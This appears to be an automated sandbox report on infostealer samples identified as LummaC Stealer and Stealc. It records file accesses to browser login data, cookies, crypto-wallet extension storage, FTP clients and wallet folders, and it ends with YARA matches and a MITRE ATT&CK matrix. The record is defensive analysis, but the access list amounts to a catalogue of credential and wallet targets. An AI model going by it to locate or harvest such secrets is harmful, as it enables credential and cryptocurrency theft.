Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI	Jump to behavior
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI	Jump to behavior
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN	Jump to behavior
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN	Jump to behavior
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI	Jump to behavior
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI	Jump to behavior
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Directory queried: C:\Users\user\Documents\YPSIACHYXW	Jump to behavior
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Directory queried: C:\Users\user\Documents\YPSIACHYXW	Jump to behavior
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN	Jump to behavior

Source: Yara match	File source: 00000009.00000003.2731276729.0000000000CD6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2658446321.0000000000D19000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2711473720.0000000000D2A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2711392422.0000000000CD6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2731516300.0000000000CEB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: LIWYEYWSOj.exe PID: 6968, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0fd4b3a5d7.exe PID: 1344, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: LIWYEYWSOj.exe PID: 6968, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0fd4b3a5d7.exe PID: 1344, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.2093689784.0000000000671000.00000040.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2096558340.0000000000F7D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: LEDU23VRAEI6A5X1LTGJU.exe PID: 4928, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_00C5EC48 Concurrency::details::ContextBase::TraceContextEvent,Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,		7_2_00C5EC48
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_00C5DF51 Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::GetInternalContext,		7_2_00C5DF51

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 Scheduled Task/Job	1 Extra Window Memory Injection	11 Deobfuscate/Decode Files or Information	LSASS Memory	11 File and Directory Discovery	Remote Desktop Protocol	41 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
